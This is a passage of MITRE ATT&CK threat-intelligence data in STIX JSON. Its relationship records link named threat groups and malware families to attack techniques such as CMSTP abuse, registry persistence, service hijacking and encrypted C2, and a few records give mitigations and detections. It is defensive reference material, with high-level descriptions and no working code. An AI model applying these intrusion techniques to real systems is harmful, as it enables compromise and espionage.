LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3dad318f-b446-49c6-a62b-f0596b63a9c5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"modified":"2019-06-28T15:30:58.709Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used CMSTP.exe and a malicious INF to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.(Citation: FireEye MuddyWater Mar 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e177cd6d-a6ca-4062-9dfe-e238e22c51a7","type":"relationship","created":"2020-03-11T14:17:21.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-07-07T12:42:39.279Z","description":"A patch management process should be implemented to check unused applications, unmaintained and/or previously vulnerable software, unnecessary features, components, files, and documentation.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b516dc1a-69c7-4dd2-935a-b0b1dcee150f","type":"relationship","created":"2019-04-17T19:18:00.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2020-03-30T03:03:49.188Z","description":"[Remexi](https://attack.mitre.org/software/S0375) encrypts and adds all gathered browser data into files for upload to C2.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d970ba14-4c96-4f98-a1e1-4417f52b76f3","type":"relationship","created":"2021-02-04T14:30:37.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021."}],"modified":"2021-04-21T02:25:51.099Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has obtained free and publicly available tools including SingleFile and HTTrack to copy login pages of targeted organizations.(Citation: Proofpoint TA407 September 2019)(Citation: Secureworks COBALT DICKENS September 2019)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05e05236-1635-48d7-8ee3-33319c01c815","type":"relationship","created":"2017-05-31T21:33:27.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/winnti-more-than-just-a-game/37029/","description":"Kaspersky Lab's Global Research and Analysis Team. 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Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."},{"source_name":"Sysdig Kinsing November 2020","url":"https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/","description":"Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021."}],"modified":"2021-04-06T12:22:23.718Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has created and run a Bitcoin cryptocurrency miner.(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--991ab4f3-57e0-44ea-b5c0-247018e3b184","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft GetAllTrustRelationships","url":"https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships","description":"Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019."},{"source_name":"Harmj0y Domain Trusts","url":"https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944","description":"Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls associated with gathering information on domain trust relationships that may be used to identify lateral movement like DSEnumerateDomainTrusts() Win32 API call to spot activity associated with Domain Trust Discovery.(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as PowerShell. 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Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"},{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"},{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). 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Retrieved November 12, 2021."}],"modified":"2021-11-29T20:56:11.382Z","description":"(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9256d21-a464-477a-8756-96eae300b0e4","type":"relationship","created":"2021-07-16T19:42:59.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB GrimAgent July 2021","url":"https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer","description":"Priego, A. (2021, July). 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Retrieved July 16, 2021."}],"modified":"2021-07-16T19:42:59.601Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can use a decryption algorithm for strings based on Rotate on Right (RoR) and Rotate on Left (RoL) functionality.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). 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Retrieved January 22, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}],"modified":"2020-03-18T20:44:39.391Z","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to obtain a directory listing.(Citation: Palo Alto CVE-2015-3113 July 2015)","relationship_type":"uses","source_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c662aa7-0ee8-4e42-b0b9-de0dc2f02a57","type":"relationship","created":"2020-11-13T21:52:00.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T21:52:00.732Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can send data it retrieves to the C2 server.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e70260-cbf3-4c6b-bd30-208329cfef26","type":"relationship","created":"2019-01-29T18:55:20.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. 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Retrieved December 18, 2020."}],"modified":"2021-05-04T18:01:42.395Z","description":"[Industroyer](https://attack.mitre.org/software/S0604) can use an arbitrary system service to load at system boot for persistence and replaces the ImagePath registry value of a Windows service with a new backdoor binary.(Citation: Dragos Crashoverride 2017) ","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd648f03-7313-4e05-bd6e-b499f76a295c","type":"relationship","created":"2019-08-26T15:27:13.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. 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(2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. 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Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.838Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use signed loaders to evade detection.(Citation: ATT QakBot April 2021)\n","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd4da2e6-a54b-4420-9ed6-ebb3080bd2f8","type":"relationship","created":"2020-05-06T15:26:38.958Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). 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(2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."},{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."},{"source_name":"ESET Lazarus Jun 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021."},{"source_name":"McAfee Lazarus Jul 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021."}],"modified":"2022-02-11T18:07:34.407Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has compromised servers to stage malicious tools.(Citation: Kaspersky ThreatNeedle Feb 2021)(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02e0a0a6-2b51-4266-ba4e-1af344f20f62","type":"relationship","created":"2020-03-12T18:50:32.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). 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Retrieved June 24, 2021."}],"modified":"2021-06-24T13:14:06.594Z","description":"The [FIVEHANDS](https://attack.mitre.org/software/S0618) payload is encrypted with AES-128.(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)(Citation: NCC Group Fivehands June 2021)","relationship_type":"uses","source_ref":"malware--f464354c-7103-47c6-969b-8766f0157ed2","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd763f17-409d-428b-825c-f731b0ad88cc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","source_name":"FireEye Obfuscation June 2017"},{"source_name":"Bitdefender FIN8 July 2021","url":"https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation","description":"Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."},{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2021-09-15T15:44:16.675Z","description":"[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads use WMI to launch malware and spawn cmd.exe execution. [FIN8](https://attack.mitre.org/groups/G0061) has also used WMIC for lateral movement as well as during and post compromise cleanup activities.(Citation: FireEye Obfuscation June 2017)(Citation: Bitdefender FIN8 July 2021)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc661e81-fc5e-4243-874e-f311bc5a2d8d","type":"relationship","created":"2020-05-06T21:01:23.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.444Z","description":"[Attor](https://attack.mitre.org/software/S0438) has opened the registry and performed query searches.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--328fdf30-3195-4d15-b99c-bf14cc236a90","type":"relationship","created":"2020-01-24T15:51:52.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. 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Retrieved November 30, 2017.","source_name":"Microsoft Trust Considerations Nov 2014"},{"url":"https://technet.microsoft.com/library/cc794757.aspx","description":"Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.","source_name":"Microsoft SID Filtering Quarantining Jan 2009"},{"url":"https://technet.microsoft.com/library/cc835085.aspx","description":"Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.","source_name":"Microsoft Netdom Trust Sept 2012"},{"url":"https://adsecurity.org/?p=1640","description":"Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.","source_name":"AdSecurity Kerberos GT Aug 2015"}],"modified":"2021-02-09T15:49:58.567Z","description":"Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust /domain: /EnableSIDHistory:no</code> on the domain controller)\n\n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\n\n* Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. 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(2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."}],"modified":"2019-04-19T14:39:53.076Z","description":"[Remcos](https://attack.mitre.org/software/S0332) takes automated screenshots of the infected machine.(Citation: Riskiq Remcos Jan 2018)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8b248fe-a27c-40fd-83d5-f4382035d656","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"},{"url":"https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf","description":"Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.","source_name":"evolution of pirpi"}],"modified":"2019-04-29T18:01:20.276Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that looks for files and directories on the local file system.(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bbeba86-0f26-4c02-9c66-8118ad6c0208","type":"relationship","created":"2019-03-18T14:05:57.762Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:59:52.927Z","description":"(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7f60c3a-5b9e-4175-8bac-72773f580dad","type":"relationship","created":"2020-04-28T12:47:25.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.920Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has added a registry key in the <RUN> hive for persistence.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c06e313-2cde-494c-a8dc-449649a1afa6","type":"relationship","created":"2017-05-31T21:33:27.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","source_name":"Novetta Blockbuster"},{"url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","source_name":"Novetta Blockbuster Destructive Malware"},{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","source_name":"McAfee Lazarus Resurfaces Feb 2018"},{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"},{"source_name":"McAfee Lazarus Jul 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021."}],"modified":"2022-02-11T14:34:51.101Z","description":"Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample XORs C2 traffic. Other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses Caracachs encryption to encrypt C2 payloads. [Lazarus Group](https://attack.mitre.org/groups/G0032) has also used AES to encrypt C2 traffic.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3c766e53-1372-4b94-b7de-b3f70d4d1a91","type":"relationship","created":"2019-03-11T20:01:20.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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(2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."},{"source_name":"BitDefender Chafer May 2020","url":"https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. 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Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). 